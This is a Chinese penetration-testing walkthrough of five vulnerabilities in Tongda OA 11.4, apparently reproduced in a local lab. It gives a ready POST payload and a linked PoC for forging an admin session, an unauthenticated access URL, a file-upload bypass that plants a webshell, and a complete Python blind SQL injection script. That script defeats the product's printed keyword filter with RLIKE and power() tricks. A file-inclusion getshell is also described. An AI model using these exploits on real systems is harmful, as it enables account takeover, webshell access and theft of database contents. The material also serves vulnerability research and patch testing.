前言:
O A 版本:通达OA系统11.4
测试环境:本地
渗透工具:BurpSuite pro、SeayDzend、TongDaOA-Fake-User(POC)、PHPstorm、蚁剑
1. 存在漏洞
前台任意用户登录漏洞
前台未授权访问漏洞
管理后台文件上传漏洞
后台SQL注入漏洞
文件包含getshell
根据提供的POC的代码分析,该漏洞涉及的文件包含以下四个文件:
/ispirit/login_code.php、/ispirit/login_code_check.php、/general/login_code_scan.php、/general/index.php
通达OA源码使用zend5加密,利用解密工具SeayDzend解密上述四个文件后分析源码。
/ispirit/login_code.php :
该文件用来获取codeuid 参数,如果不存在,则会自动生成一个codeuid ,并且将其写入CODE_LOGIN_PC缓存中(通达OA使用了缓存系统Redis,同时也提供了对缓存的使用方法),但是在18行位置将这个参数显示出来,导致用户可以获取这个参数的值,从而可以绕过后面的验证。
/general/login_code_scan.php:
在这一文件中,用户可以控制输入的关键参数uid,在存在漏洞的通达OA版本中,后台数据库里uid对应的用户是admin管理员账户。并且将该数据存储在CODE_INFO_PC 缓存中,因为我们在第一个文件中获取的codeuid存储在CODE_LOGIN_PC中,所以这里在复现时需要指明source变量为pc,这里的username则为admin,而type变量需要指明为confirm 。
/ispirit/login_code_check.php:
这里使用之前存储的两个缓存中的内容,一个用来获取codeuid,一个用来获取通过Post 传入的uid等关键信息。
这里是最为关键的位置,代码获取用户可控的参数uid,并依次作为依据直接带入数据库进行查询。
随后将查询的信息直接写入session中,通过这一步, session中包含的就是管理员的身份信息。
3.1.2 手工抓包复现:
抓首页的包进行更改,访问/ispirit/login_code.php,通过返回包获取codeuid
使用POST方式访问/general/login_code_scan.php,提交相关参数,其中codeuid改为上一步中返回的值。
payload:
uid=1&codeuid={your-codeuid}&type=confirm&source=pc&username=admin
使用GET方式访问/ispirit/login_code_check.php,传入关键参数codeuid,让后台进行代入查询,并返回携带管理员身份信息的凭证。
经过这步后客户端已经拥有了管理员的身份信息,直接访问OA主页,放行如下数据包以及后续的数据包(后续数据包内容大概为管理页面的其他内容),成功以管理员身份登录OA系统。
3.1.3 POC自动获取复现:
在python环境下运行POC,返回cookie
(POC来自Github:https://github.com/NS-Sp4ce/TongDaOA-Fake-User)
替换浏览器存储的cookie,访问http://your-ip/general/成功以管理员身份登录OA系统。
未更改cookie前:
更改cookie后:
3.2 前台未授权访问漏洞
备注:需要后台有账户在线时使用
访问http://your-ip/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0 ,此时出现RELOGIN,说明目前没有人在线,需要等待有人登录的时候再尝试。
在虚拟机通达后台登录管理员账号,再次尝试,此时出现空白页面,说明已经获得权限。
再次访问http://your-ip/general/,成功进入系统。
3.3 管理后台文件上传漏洞
登录后台后,在“系统管理 → 系统参数设置 → OA服务设置”,找到Webroot目录
点击系统管理 → 附件管理 → 添加存储目录,在此重新设置上传附件存储目录(原先默认的路径在MYOA -> attach,不在网站目录MYOA -> webroot下)
注:
此处的更改上传文件路径选项在通达OA11.2的版本下可以,11.4版本中不能如此设置,因为这个路径被识别为敏感路径。
选择组织 → 管理员 → 附件上传,经测试,此处上传“php、php5、phtml”等后缀会被过滤,此时上传TXT 文件是成功的。抓包查看返回值。
根据返回的结果,拼接文件路径, http://your-ip/im/2106/704995893.shell.txt
在虚拟机中查看该目录,上传成功
利用windows系统会自动去掉符号“点”,上传shell.php. 文件进行绕过
根据返回的结果,拼接文件路径:http://your-ip/im/2106/shell.php,蚁剑连接,成功getshell
3.4 后台SQL注入漏洞
备注:复现此漏洞需先通过上述操作登录OA管理后台,此时为admin权限但无数据库操作权限,此时存在SQL注入漏洞。
漏洞位置:/general/hr/manage/query/delete_cascade.php
如果$condition_cascade不为空就把里面的\'替换为',然后执行。
原因:V11.7版本中,注册变量时考虑了安全问题,将用户输入的字符用addslashes函数进行保护。
具体代码在inc/common.inc.php中,接收了我们的输入$_GET,然后将值$s_value进行了addslashes处理
addslashes()作用
我们再来看看是怎么执行SQL语句的,在delete_cascade.php中,使用的是exequery()函数。而inc/conn.php文件中是对SQL语句的各种处理函数。
我们跟踪exequery()函数,可以在inc/conn.php中找到定义,可以发现这里又调用了db_query()函数。
我们继续跟踪db_query()函数,可以发现这里就是执行SQL语句的函数,但是执行之前使用sql_injection()函数进行了过滤。
sql_injection()函数如下所示。
function sql_injection($db_string)
{
$clean = "";
$error = "";
$old_pos = 0;
$pos = -1;
$db_string = str_replace(" ", " ", $db_string);
while (true) {
$pos = strpos($db_string, "'", $pos + 1);
if ($pos === false) {
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (true) {
$pos1 = strpos($db_string, "'", $pos + 1);
$pos2 = strpos($db_string, "\\", $pos + 1);
if ($pos1 === false) {
break;
}
else {
if (($pos2 == false) || ($pos1 < $pos2)) {
$pos = $pos1;
break;
}
}
$pos = $pos2 + 1;
}
$clean .= "\$s\$";
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array("~\s+~s"), array(" "), $clean)));
$fail = false;
if ((strpos($clean, "union") !== false) && (preg_match("~(^|[^a-z])union($|[^[a-z])~s", $clean) != 0)) {
$fail = true;
$error = _("联合查询");
}
else {
if ((2 < strpos($clean, "/*")) || (strpos($clean, "--") !== false) || (strpos($clean, "#") !== false)) {
$fail = true;
$error = _("注释代码");
}
else {
if ((strpos($clean, "sleep") !== false) && (preg_match("~(^|[^a-z])sleep($|[^[a-z])~s", $clean) != 0)) {
$fail = true;
$error = "sleep";
}
else {
if ((strpos($clean, "benchmark") !== false) && (preg_match("~(^|[^a-z])benchmark($|[^[a-z])~s", $clean) != 0)) {
$fail = true;
$error = "benchmark";
}
else {
if ((strpos($clean, "load_file") !== false) && (preg_match("~(^|[^a-z])load_file($|[^[a-z])~s", $clean) != 0)) {
$fail = true;
$error = _("Load文件");
}
else {
if ((strpos($clean, "cast") !== false) && (preg_match("~(^|[^a-z])mid($|[^[a-z])~s", $clean) != 0)) {
$fail = true;
$error = "cast";
}
else {
if ((strpos($clean, "ord") !== false) && (preg_match("~(^|[^a-z])ord($|[^[a-z])~s", $clean) != 0)) {
$fail = true;
$error = "ord";
}
else {
if ((strpos($clean, "ascii") !== false) && (preg_match("~(^|[^a-z])ascii($|[^[a-z])~s", $clean) != 0)) {
$fail = true;
$error = "ascii";
}
else {
if ((strpos($clean, "extractvalue") !== false) && (preg_match("~(^|[^a-z])extractvalue($|[^[a-z])~s", $clean) != 0)) {
$fail = true;
$error = "extractvalue";
}
else {
if ((strpos($clean, "updatexml") !== false) && (preg_match("~(^|[^a-z])updatexml($|[^[a-z])~s", $clean) != 0)) {
$fail = true;
$error = "updatexml";
}
else {
if ((strpos($clean, "into outfile") !== false) && (preg_match("~(^|[^a-z])into\s+outfile($|[^[a-z])~s", $clean) != 0)) {
$fail = true;
$error = _("生成文件");
}
else {
if ((strpos($clean, "exp") !== false) && (preg_match("~(^|[^a-z])exp($|[^[a-z])~s", $clean) != 0)) {
$fail = true;
$error = _("exp");
}
else {
if ((stripos($db_string, "update") !== false) && (stripos($db_string, "user") !== false) && (stripos($db_string, "set") !== false) && (stripos($db_string, "file_priv") !== false)) {
$fail = true;
$error = "set file_priv";
}
}
}
}
}
}
}
}
}
}
}
}
}
if ($fail) {
echo _("不安全的SQL语句:") . $error . "<br />";
echo td_htmlspecialchars($db_string);
exit();
}
else {
return $db_string;
}
}
过滤了union /* sleep benchmark load_file cast ord ascii extractvaleue updatexml into outfile exp update user set file_priv set file_priv 这些字符,盲注的核心是:substr、if等函数,均未被过滤,那么只要构造MySQL报错即可配合if函数进行盲注了。
这里可以使用if来进行报错注入,这里还知道了power(9999,99)也能报错,当字符相等时,不报错,错误时报错。
select if(1=1,1,power(9999,99))
select if(1=2,1,power(9999,99))
也可以用rlike报错注入
select 1 RLIKE (SELECT (CASE WHEN (1=1) THEN 1 ELSE 0x28 END))
select 1 RLIKE (SELECT (CASE WHEN (1=2) THEN 1 ELSE 0x28 END))
如下所示,1=1返回成功,1=2则报错,说明存在盲注
老规矩,直接用脚本来进行注入
import requests
import urllib
url = 'http://192.168.8.21:8080/general/hr/manage/query/delete_cascade.php'
cookies = "USER_NAME_COOKIE=admin; SID_1=742da844; SID_65=8232122; OA_USER_ID=admin; PHPSESSID=osa9rkacs839k0ki2s48i2d921"
sql = '(select database())'
flag = ''
for i in range(1, 50):
high = 132
low = 32
mid = (high+low)//2
while high > low:
char = flag+chr(mid)
headers = {
"cookie": urllib.parse.unquote(cookies)
}
target = url + "?condition_cascade=select 3 RLIKE (SELECT (CASE WHEN (substr({0},{1},1)>={2}) THEN 1 ELSE " \
"0x28 END))".format(sql, i, hex(mid))
s = requests.get(url=target, headers=headers)
if '信息删除成功' in s.text:
low = mid+1
else:
high = mid
mid = (high+low)//2
if mid == 33 or mid ==132:
exit(0)
flag += chr(mid-1)
print("[+] "+flag)
修改一下脚本中的url、cookie、和要执行的SQL语句即可
3.5 文件包含getshell
Goby扫描目标站点,爆出通达文件包含getshell,进行验证,goby自动完成Webshell上传。
蚁剑连接shell成功验证。